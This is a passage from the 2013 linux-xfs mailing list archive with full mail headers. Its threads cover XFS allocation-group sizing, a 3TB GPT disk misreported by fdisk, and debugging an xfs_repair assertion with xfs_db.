X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 98C997F4E for ; Sun, 14 Jul 2013 02:06:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21038AC002 for ; Sun, 14 Jul 2013 00:06:43 -0700 (PDT) X-ASG-Debug-ID: 1373785602-04cb6c2a41cd4700001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id H4sOPfGEttQYVBmD for ; Sun, 14 Jul 2013 00:06:42 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 2A76C6C173; Sun, 14 Jul 2013 02:06:42 -0500 (CDT) Message-ID: <51E24E03.8010609@hardwarefreak.com> Date: Sun, 14 Jul 2013 02:06:43 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: aurfalien CC: Eric Sandeen , xfs@oss.sgi.com Subject: Re: specify agsize? References: <6A14EB72-A699-47AF-937D-D6DA1CF12ACB@gmail.com> <51E2092D.7090409@sandeen.net> <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> X-ASG-Orig-Subj: Re: specify agsize? In-Reply-To: <9AB8D1D3-29D7-4C43-A624-37024CA4EFD9@gmail.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373785602 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/13/2013 11:20 PM, aurfalien wrote: ... >>> mkfs.xfs -f -l size=512m -d su=128k,sw=14 /dev/mapper/vg_doofus_data-lv_data ... >>> meta-data=/dev/mapper/vg_doofus_data-lv_data isize=256 agcount=32, agsize=209428640 blks >>> = sectsz=512 attr=2, projid32bit=0 >>> data = bsize=4096 blocks=6701716480, imaxpct=5 >>> = sunit=32 swidth=448 blks >>> naming =version 2 bsize=4096 ascii-ci=0 >>> log =internal log bsize=4096 blocks=131072, version=2 >>> = sectsz=512 sunit=32 blks, lazy-count=1 >>> realtime =none extsz=4096 blocks=0, rtextents=0 ... > Autodesk has this software called Flame which requires very very fast local storage using XFS. If "Flame" does any random writes then you probably shouldn't be using RAID6. > They have an entire write up on how to calc proper agsize for optimal performance. I think you're confused. Maximum agsize is 1TB. Making your AGs smaller than that won't decrease application performance, so it's literally impossible to tune agsize to increase performance. agcount on the other hand can potentially have an effect if the application is sufficiently threaded. But agcount doesn't mean anything in isolation. It's tied directly to the characteristics of the RAID level and hardware. For example, mkfs.xfs gave you 32 AGs for this 14 spindle array. One could make 32 AGs on a single 4TB SATA disk and the performance difference between the two will be radically different. ... > Well, it will give me a base line comparison of non tweaked agsize vs tweaked agsize. No, it won't. See above. > Yea but based on what? Based on the fact that your XFS is ~26TB. mkfs.xfs could have given you 26 AGs of ~1TB each. But it chose to give you 32 AGs of ~815GB each. Whether you run bonnie, iozone, or your Flame application, you won't be able to measure a meaningful difference, if any difference, between 26 and 32 AGs. ... > Problem is I run Centos so the line; > > "As of kernel 3.2.12, the default i/o scheduler, CFQ, will defeat much of the parallelization in XFS. " > > ... doesn't really apply. This makes no sense. What doesn't apply? You can change to noop or deadline with a single echo command in a startup script: echo noop > /sys/block/sdX/queue/scheduler where sdX is the name of your RAID device. -- Stan From c.monty@web.de Sun Jul 14 02:57:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 184107F5E for ; Sun, 14 Jul 2013 02:57:35 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 09C878F8033 for ; Sun, 14 Jul 2013 00:57:31 -0700 (PDT) X-ASG-Debug-ID: 1373788650-04cbb04690f7d800001-w1Z2WR Received: from sam.nabble.com (sam.nabble.com [216.139.236.26]) by cuda.sgi.com with ESMTP id 8rz1n52csCMnG8LG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 14 Jul 2013 00:57:30 -0700 (PDT) X-Barracuda-Envelope-From: c.monty@web.de X-Barracuda-Apparent-Source-IP: 216.139.236.26 Received: from tom.nabble.com ([192.168.236.105]) by sam.nabble.com with esmtp (Exim 4.72) (envelope-from ) id 1UyHBS-0003yM-B8 for linux-xfs@oss.sgi.com; Sun, 14 Jul 2013 00:57:30 -0700 Date: Sun, 14 Jul 2013 00:57:30 -0700 (PDT) From: "c.monty" To: linux-xfs@oss.sgi.com Message-ID: <1373788650050-35001.post@n7.nabble.com> Subject: XFS formatted partition is shown as 2TB but should be 3TB MIME-Version: 1.0 X-ASG-Orig-Subj: XFS formatted partition is shown as 2TB but should be 3TB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sam.nabble.com[216.139.236.26] X-Barracuda-Start-Time: 1373788650 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: Hi! On my new HDD WD30EZRX I created a GPT partition table and formatted it with XFS. Then I put some data (approx. 2.4TB) on that new partition. However, after restarting the system the disk is identified of size 2TB only. /knoppix@Microknoppix:~$ sudo fdisk -l Disk /dev/sda: 2000.4 GB, 2000421444608 bytes 255 heads, 63 sectors/track, 243204 cylinders, total 3907073134 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 4096 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes/ Checking the HDD with tool gdisk, I get this output for option "i" (show detailed information [...]): /Command (? for help): i Using 1 Partition GUID code: 0FC63DAF-8483-4772-8E79-3D69D8477DE4 (Linux filesystem) Partition unique GUID: 37786D32-C98F-4624-9440-94F79BE79793 First sector: 2048 (at 1024.0 KiB) Last sector: 5860533134 (at 2.7 TiB) Partition size: 5860531087 sectors (2.7 TiB) Attribute flags: 0000000000000000 Partition name: 'Linux filesystem'/ Using option "v" (verify disk) I get this output: /Expert command (? for help): v Caution: The CRC for the backup partition table is invalid. This table may be corrupt. This program will automatically create a new backup partition table when you save your partitions. Problem: The secondary header's self-pointer indicates that it doesn't reside at the end of the disk. If you've added a disk to a RAID array, use the 'e' option on the experts' menu to adjust the secondary header's and partition table's locations. Problem: Disk is too small to hold all the data! (Disk size is 3907073134 sectors, needs to be 5860533168 sectors.) The 'e' option on the experts' menu may fix this problem. Problem: partition 1 is too big for the disk. Identified 4 problems!/ My understanding of the issue is: 1. The HDD is not identified correctly by the mainboard/Bios with 3TB. This is confirmed by the hardware vendor of my mainboard "Gigabyte P35-DS4", means the limit is 2.2TB 2. The partition is too small to keep data of size 2.4TB How can I recover the data? Should I simply create a new partition table either with gdisk or parted? Can I make a low-level copy using dd starting from sector 2048 until the end to another HDD WD30EZRX (that I have available) and then mount that partition? Or are there any other options? THX -- View this message in context: http://xfs.9218.n7.nabble.com/XFS-formatted-partition-is-shown-as-2TB-but-should-be-3TB-tp35001.html Sent from the linux-xfs mailing list archive at Nabble.com. From c.monty@web.de Sun Jul 14 03:05:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A95877F60 for ; Sun, 14 Jul 2013 03:05:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 440C2AC003 for ; Sun, 14 Jul 2013 01:05:47 -0700 (PDT) X-ASG-Debug-ID: 1373789145-04bdf02b8ed7ac10001-NocioJ Received: from mout.web.de (mout.web.de [212.227.15.3]) by cuda.sgi.com with ESMTP id MdzS4Rh499BxDgem for ; Sun, 14 Jul 2013 01:05:45 -0700 (PDT) X-Barracuda-Envelope-From: c.monty@web.de X-Barracuda-Apparent-Source-IP: 212.227.15.3 Received: from 3capp-webde-bs29.server.lan ([172.19.170.29]) by mriweb.server.lan (mriweb001) with ESMTP (Nemesis) id 0M9tck-1Urhk82WRk-00B72Z for ; Sun, 14 Jul 2013 10:05:44 +0200 Received: from [46.223.228.166] by 3capp-webde-bs29.server.lan with HTTP; Sun Jul 14 10:05:44 CEST 2013 MIME-Version: 1.0 Message-ID: From: "Thomas Schneider" To: xfs@oss.sgi.com Subject: XFS errors on 3TB HDD that is identified of size 2TB only Content-Type: text/html; charset=UTF-8 X-ASG-Orig-Subj: XFS errors on 3TB HDD that is identified of size 2TB only Date: Sun, 14 Jul 2013 10:05:44 +0200 (CEST) Importance: normal Sensitivity: Normal X-Priority: 3 X-Provags-ID: V03:K0:4rTOpXJ/to9TUEDhrjukGbEFwB9z9uiXQ+4u8NXPtBz 41SwgwFqr8TvUovBvWh/jtJxqrlBxr3pGProsp1yAL6HVHfTBL 1cfGjkORBJkHLevvIldHZ0aG7Qqu8cMEnqv0dwgtA2HY09MsOa +FV3nFuXuKKTl33ouM3lTx54Wf7XLO+DvkYp73HaDTIUDrvxJJ X+y3e023Cen+7Hs1eyEuUNqZNV7gl2BwtdCxTX7DglwRlOZn2+ W9SqoSUN8bFFwRQ9BXomdbZ2N8rC5qTlYd2+MXw/5oadi56cLQ eCJecJK13yb/GYAV26Wxl8dNdw5 X-Barracuda-Connect: mout.web.de[212.227.15.3] X-Barracuda-Start-Time: 1373789145 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message
    Hi!

    On my new HDD WD30EZRX I created a GPT partition table and formatted it with XFS.
    Then I put some data (approx. 2.4TB) on that new partition.

    However, after restarting the system the disk is identified of size 2TB only.
    knoppix@Microknoppix:~$ sudo fdisk -l
    Disk /dev/sda: 2000.4 GB, 2000421444608 bytes
    255 heads, 63 sectors/track, 243204 cylinders, total 3907073134 sectors
    Units = sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 4096 bytes
    I/O size (minimum/optimal): 4096 bytes / 4096 bytes


    Checking the HDD with tool gdisk, I get this output for option "i" (show detailed information [...]):
    Command (? for help): i
    Using 1
    Partition GUID code: 0FC63DAF-8483-4772-8E79-3D69D8477DE4 (Linux filesystem)
    Partition unique GUID: 37786D32-C98F-4624-9440-94F79BE79793
    First sector: 2048 (at 1024.0 KiB)
    Last sector: 5860533134 (at 2.7 TiB)
    Partition size: 5860531087 sectors (2.7 TiB)
    Attribute flags: 0000000000000000
    Partition name: 'Linux filesystem'


    Using option "v" (verify disk) I get this output:
    Expert command (? for help): v

    Caution: The CRC for the backup partition table is invalid. This table may
    be corrupt. This program will automatically create a new backup partition
    table when you save your partitions.

    Problem: The secondary header's self-pointer indicates that it doesn't reside
    at the end of the disk. If you've added a disk to a RAID array, use the 'e'
    option on the experts' menu to adjust the secondary header's and partition
    table's locations.

    Problem: Disk is too small to hold all the data!
    (Disk size is 3907073134 sectors, needs to be 5860533168 sectors.)
    The 'e' option on the experts' menu may fix this problem.

    Problem: partition 1 is too big for the disk.

    Identified 4 problems!


    My understanding of the issue is:
    1. The HDD is not identified correctly by the mainboard/Bios with 3TB. This is confirmed by the hardware vendor of my mainboard "Gigabyte P35-DS4", means the limit is 2.2TB
    2. The partition is too small to keep data of size 2.4TB

    How can I recover the data?
    Should I simply create a new partition table either with gdisk or parted?
    Can I make a low-level copy using dd starting from sector 2048 until the end to another HDD WD30EZRX (that I have available) and then mount that partition?
    Or are there any other options?

    THX
    From ms@citd.de Sun Jul 14 05:04:59 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BD1CD7F37 for ; Sun, 14 Jul 2013 05:04:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8EA578F8052 for ; Sun, 14 Jul 2013 03:04:56 -0700 (PDT) X-ASG-Debug-ID: 1373796289-04bdf0233ffa5d40001-w1Z2WR Received: from awesome.dsw2k3.info (awesome.dsw2k3.info [217.188.63.246]) by cuda.sgi.com with ESMTP id fCNgfOJOKj4XW9HB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 14 Jul 2013 03:04:51 -0700 (PDT) X-Barracuda-Envelope-From: ms@citd.de X-Barracuda-Apparent-Source-IP: 217.188.63.246 Received: from localhost (localhost.localdomain [127.0.0.1]) by awesome.dsw2k3.info (Postfix) with ESMTP id 7B6DDBFB4B; Sun, 14 Jul 2013 12:04:32 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at awesome.dsw2k3.info Received: from awesome.dsw2k3.info ([127.0.0.1]) by localhost (awesome.dsw2k3.info [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id btBBwS0sVupf; Sun, 14 Jul 2013 12:04:29 +0200 (CEST) Received: from citd.de (p5B15AE61.dip0.t-ipconnect.de [91.21.174.97]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by awesome.dsw2k3.info (Postfix) with ESMTPSA; Sun, 14 Jul 2013 12:04:29 +0200 (CEST) Date: Sun, 14 Jul 2013 12:04:44 +0200 From: Matthias Schniedermeyer To: "c.monty" Cc: linux-xfs@oss.sgi.com Subject: Re: XFS formatted partition is shown as 2TB but should be 3TB Message-ID: <20130714100444.GA29583@citd.de> X-ASG-Orig-Subj: Re: XFS formatted partition is shown as 2TB but should be 3TB References: <1373788650050-35001.post@n7.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373788650050-35001.post@n7.nabble.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: awesome.dsw2k3.info[217.188.63.246] X-Barracuda-Start-Time: 1373796290 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On 14.07.2013 00:57, c.monty wrote: > Hi! > > On my new HDD WD30EZRX I created a GPT partition table and formatted it with > XFS. > Then I put some data (approx. 2.4TB) on that new partition. > > However, after restarting the system the disk is identified of size 2TB > only. > /knoppix@Microknoppix:~$ sudo fdisk -l > Disk /dev/sda: 2000.4 GB, 2000421444608 bytes Kernel reports the disc as 2TB. ... k> > My understanding of the issue is: > 1. The HDD is not identified correctly by the mainboard/Bios with 3TB. This BIOS isn't important for Linux (in that case). It just has to boot Linux, after that BIOS is out of the picture (for storage). > is confirmed by the hardware vendor of my mainboard "Gigabyte P35-DS4", > means the limit is 2.2TB P35 sounds too old for me. AFAIR older Intel-Hardware has a problem with the 2TiB Barrier. For the 2TiB-Barrier you need a recent system, something younger than about 2-3 years. Most hardware older can't cope with discs bigger than 2^32 sectors. > > How can I recover the data? > Should I simply create a new partition table either with gdisk or parted? > Can I make a low-level copy using dd starting from sector 2048 until the end > to another HDD WD30EZRX (that I have available) and then mount that > partition? > Or are there any other options? Just plug it into a more recent system, it should "just work". -- Matthias From sandeen@sandeen.net Sun Jul 14 10:51:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D45ED7F37 for ; Sun, 14 Jul 2013 10:51:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4CDFCAC003 for ; Sun, 14 Jul 2013 08:51:49 -0700 (PDT) X-ASG-Debug-ID: 1373817107-04cb6c2a47ce6620001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id WBFYYrXtoZBkCBDm for ; Sun, 14 Jul 2013 08:51:47 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-563.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5348460FC9FD; Sun, 14 Jul 2013 10:51:47 -0500 (CDT) Message-ID: <51E2C912.8080305@sandeen.net> Date: Sun, 14 Jul 2013 10:51:46 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jay Ashworth CC: xfs@oss.sgi.com Subject: Re: XFS filesystem triggering assert in _repair 3.1.11 References: <10640767.1356.1373750975524.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: XFS filesystem triggering assert in _repair 3.1.11 In-Reply-To: <10640767.1356.1373750975524.JavaMail.root@benjamin.baylink.com> X-Enigmail-Version: 1.5.1 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1373817107 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/13/13 4:29 PM, Jay Ashworth wrote: ... > That's where I am right now: the drive was throwing a kernel oops if I > mounted it, That shouldn't happen, for starters - was this on the older 2.6.37 kernel? > and xfs_repair would just lock up. I had to do a -L on > it ok, so much for debugging the oops ... > after which it would mount and unmount cleanly, and xfs_repair runs > and finds problems, but then fails an assert at the end and dies. > > Here's that entire repair run: > > ============================================================= > plaintain:/var/log/mythtv # xfs_repair /dev/sdc2 > Phase 1 - find and verify superblock... > Not enough RAM available for repair to enable prefetching. ... > entry "1011_20130509205900.mpg" at block 13 offset 4016 in directory inode 1073789184 references free inode 1137017084 > clearing inode number in entry at offset 4016... > bad back (left) sibling pointer (saw 16140901064495857663 should be NULL (0)) ^^^ 0xDFFFFFFFFFFFFFFF i.e. -2 #define HOLESTARTBLOCK ((xfs_fsblock_t)-2LL) ? > in inode 1115989006 (data fork) bmap btree block 107963248 > xfs_repair: dinode.c:2136: process_inode_data_fork: Assertion `err == 0' failed. This means we were in the check_dups path, and one of the process_*() functions failed. Due to that "bad back (left) sibling pointer ..." If I had time to work on this, I'd ask for an xfs_metadump image of the filesystem to be able to reproduce it and look further into the problem... It might shed some light on things to use xfs_db to look at inode 1115989006 # xfs_db /dev/sdc2 xfs_db> inode 1115989006 xfs_db> p for starters. looking at bmap btree block 107963248 might also be interesting; like this I think but I'm rusty: xfs_db> fsblock 107963248 xfs_db> type bmapbt xfs_db> p > Aborted > ============================================================= > > This is xfs_repair 3.1.11, from xfsprogs 3.1.11 from tarball, compiled on > the machine in question, which is a 32-bit OS with 512MB of ram (the > mobo, an old MSI KT6V, pukes if we try to put more ram on it for some > reason). I have run memtest+ on the ram and multiple passes come > back clean as a whistle; the SATA controller is a SiI 3114, which we > had to buy to talk to the 3TB drives; boot is from the VT6420 on the > motherboard and a dedicated 40G Samsung. > > I have done some work on this repair booted from a Suse 12.1 rescue disk > with a 3.7 kernel, on the theory that the XFS drivers in the kernel > might help; I found that mounting and unmounting in between multiple > repair runs made me have to do less of them -- though I'm sure more > than two dirty runs before one sees a clean one ought to be Right Out > anyway. Eek, so you thrashed about, in other words. ;) > I've seen suggestions on the mailing list archives and other places > that (some) assertion fails were for things fixed in earlier tools > releases, but that one's not helping me... well, not always true, esp. in userspace. > I have space to move this data off and remake the filesystem, > if I can get it to mount reliably and stay that way long enough. you can always mount it & copy as much as possible until you hit corruption. But until repair succeeds you'll have corruption lurking that you'll hit which will probably cause the fs to shut down (gracefully, in theory). -Eric > Any assistance cheerfully appreciated. :-) > > Cheers, > -- jra > From jra@baylink.com Sun Jul 14 10:51:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 04E497F51 for ; Sun, 14 Jul 2013 10:51:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 748F7AC003 for ; Sun, 14 Jul 2013 08:51:53 -0700 (PDT) X-ASG-Debug-ID: 1373817111-04cb6c2a41ce6620001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id jmsjo97ftGsT3WQN for ; Sun, 14 Jul 2013 08:51:51 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id DB00C1F003F5 for ; Sun, 14 Jul 2013 11:51:50 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6wbDr3o8pAso for ; Sun, 14 Jul 2013 11:51:40 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 4F8DA1F001DF for ; Sun, 14 Jul 2013 11:51:40 -0400 (EDT) Date: Sun, 14 Jul 2013 11:51:40 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <22762971.1368.1373817100242.JavaMail.root@benjamin.baylink.com> In-Reply-To: Subject: Re: XFS errors on 3TB HDD that is identified of size 2TB only MIME-Version: 1.0 X-ASG-Orig-Subj: Re: XFS errors on 3TB HDD that is identified of size 2TB only Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [173.104.54.119] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1373817111 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Thomas Schneider" > On my new HDD WD30EZRX I created a GPT partition table and formatted > it with XFS. > Then I put some data (approx. 2.4TB) on that new partition. > > However, after restarting the system the disk is identified of size > 2TB only. > knoppix@Microknoppix:~$ sudo fdisk -l Stop! Wait a minute! Stop it, boy! (Sorry; Meat Loaf flashback. :-) You're looking at that partition table with fdisk, *which doesn't understand GPT partition tables*; it's amazing it didn't complain louder. You need to check it with parted, or something else that speaks GPT; the rest your these here is invalid, being based on your assumption that there really is a problem... which there probably isn't. If not with parted, how did you create the GPT partition in the first place? Cheers, -- jra > Disk /dev/sda: 2000.4 GB, 2000421444608 bytes > 255 heads, 63 sectors/track, 243204 cylinders, total 3907073134 > sectors > Units = sectors of 1 * 512 = 512 bytes > Sector size (logical/physical): 512 bytes / 4096 bytes > I/O size (minimum/optimal): 4096 bytes / 4096 bytes > > Checking the HDD with tool gdisk, I get this output for option "i" > (show detailed information [...]): > Command (? for help): i > Using 1 > Partition GUID code: 0FC63DAF-8483-4772-8E79-3D69D8477DE4 (Linux > filesystem) > Partition unique GUID: 37786D32-C98F-4624-9440-94F79BE79793 > First sector: 2048 (at 1024.0 KiB) > Last sector: 5860533134 (at 2.7 TiB) > Partition size: 5860531087 sectors (2.7 TiB) > Attribute flags: 0000000000000000 > Partition name: 'Linux filesystem' > > Using option "v" (verify disk) I get this output: > Expert command (? for help): v > > Caution: The CRC for the backup partition table is invalid. This table > may > be corrupt. This program will automatically create a new backup > partition > table when you save your partitions. > > Problem: The secondary header's self-pointer indicates that it doesn't > reside > at the end of the disk. If you've added a disk to a RAID array, use > the 'e' > option on the experts' menu to adjust the secondary header's and > partition > table's locations. > > Problem: Disk is too small to hold all the data! > (Disk size is 3907073134 sectors, needs to be 5860533168 sectors.) > The 'e' option on the experts' menu may fix this problem. > > Problem: partition 1 is too big for the disk. > > Identified 4 problems! > > My understanding of the issue is: > 1. The HDD is not identified correctly by the mainboard/Bios with 3TB. > This is confirmed by the hardware vendor of my mainboard "Gigabyte > P35-DS4", means the limit is 2.2TB > 2. The partition is too small to keep data of size 2.4TB > > How can I recover the data? > Should I simply create a new partition table either with gdisk or > parted? > Can I make a low-level copy using dd starting from sector 2048 until > the end to another HDD WD30EZRX (that I have available) and then mount > that partition? > Or are there any other options? > > THX > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From jra@baylink.com Sun Jul 14 11:14:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: 